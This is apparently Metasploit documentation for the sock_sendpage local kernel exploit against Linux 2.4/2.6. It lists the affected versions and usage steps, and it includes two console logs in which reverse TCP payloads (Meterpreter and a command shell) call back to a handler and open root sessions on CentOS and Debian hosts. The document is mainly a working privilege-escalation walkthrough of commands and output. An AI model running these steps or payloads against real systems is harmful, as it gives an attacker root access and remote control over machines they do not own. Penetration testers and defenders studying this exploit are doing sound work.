## Description The Linux kernel failed to properly initialize some entries in the `proto_ops` struct for several protocols, leading to `NULL` being dereferenced and used as a function pointer. By using `mmap(2)` to map page `0`, an attacker can execute arbitrary code in the context of the kernel. ## Vulnerable Application Several public exploits exist for this vulnerability, including spender's `wunderbar_emporium` and rcvalle's ppc port, `sock_sendpage.c`. All Linux 2.4/2.6 versions since May 2001 are believed to be affected: * 2.4.4 up to and including 2.4.37.4 * 2.6.0 up to and including 2.6.30.4 This module has been tested successfully on: * CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5 * Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386 ## Verification Steps 1. Start `msfconsole` 2. Get a session 3. `use exploit/linux/local/sock_sendpage` 4. `set SESSION [SESSION]` 5. `check` 6. `run` 7. You should get a new *root* session ## Options **SESSION** Which session to use, which can be viewed with `sessions` **WritableDir** A writable directory file system path. (default: `/tmp`) **DEBUG_EXPLOIT** Enable exploit debug messages. (default: `false`) ## Scenarios ### CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5 ``` msf > use exploit/linux/local/sock_sendpage msf exploit(linux/local/sock_sendpage) > set session 1 session => 1 msf exploit(linux/local/sock_sendpage) > set verbose true verbose => true msf exploit(linux/local/sock_sendpage) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp msf exploit(linux/local/sock_sendpage) > run [!] SESSION may not be compatible with this module. [*] Started reverse TCP handler on 172.16.191.188:4444 [+] Kernel version 2.6.18 appears to be vulnerable [+] System architecture i686 is supported [+] vm.mmap_min_addr is not set [*] Writing '/tmp/.MCpzrCREnMXU' (3509 bytes) ... [*] Max line length is 65537 [*] Writing 3509 bytes in 1 chunks of 10560 bytes (octal-encoded), using printf [*] Executing payload... [*] Transmitting intermediate stager...(106 bytes) [*] Sending stage (857352 bytes) to 172.16.191.159 [*] Meterpreter session 34 opened (172.16.191.188:4444 -> 172.16.191.159:37663) at 2018-04-10 06:50:13 -0400 meterpreter > getuid Server username: uid=0, gid=0, euid=0, egid=0 meterpreter > sysinfo Computer : 172.16.191.159 OS : CentOS 5 (Linux 2.6.18-8.1.1.tl5) Architecture : i686 BuildTuple : i486-linux-musl Meterpreter : x86/linux ``` ### Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386 ``` msf > use exploit/linux/local/sock_sendpage msf exploit(linux/local/sock_sendpage) > set payload linux/x86/shell/reverse_tcp payload => linux/x86/shell/reverse_tcp msf exploit(linux/local/sock_sendpage) > set session 1 session => 1 msf exploit(linux/local/sock_sendpage) > run [!] SESSION may not be compatible with this module. [*] Started reverse TCP handler on 172.16.191.188:4444 [+] Kernel version 2.4.27 appears to be vulnerable [+] System architecture i686 is supported [+] vm.mmap_min_addr is not set [*] Writing '/tmp/.69p3FeagB' (3509 bytes) ... [*] Max line length is 65537 [*] Writing 3509 bytes in 1 chunks of 10560 bytes (octal-encoded), using printf [*] Executing payload... [*] Sending stage (36 bytes) to 172.16.191.227 [*] Command shell session 35 opened (172.16.191.188:4444 -> 172.16.191.227:32836) at 2018-04-10 06:59:08 -0400 [!] Tried to delete /tmp/.69p3FeagB, unknown result 3356110123 lfvaliLFShnAfRQkCHUXFtuyGXKylJSN TJloQpOJsrsnQSfZpNAjWcbqNuHanLeI LeKIAUjwBMRhxjJjVvvrdvwErYZnxPYr id uid=0(root) gid=0(root) groups=100(users) uname -a Linux sarge 2.4.27-3-386 #1 Wed Dec 6 00:38:33 UTC 2006 i686 GNU/Linux ```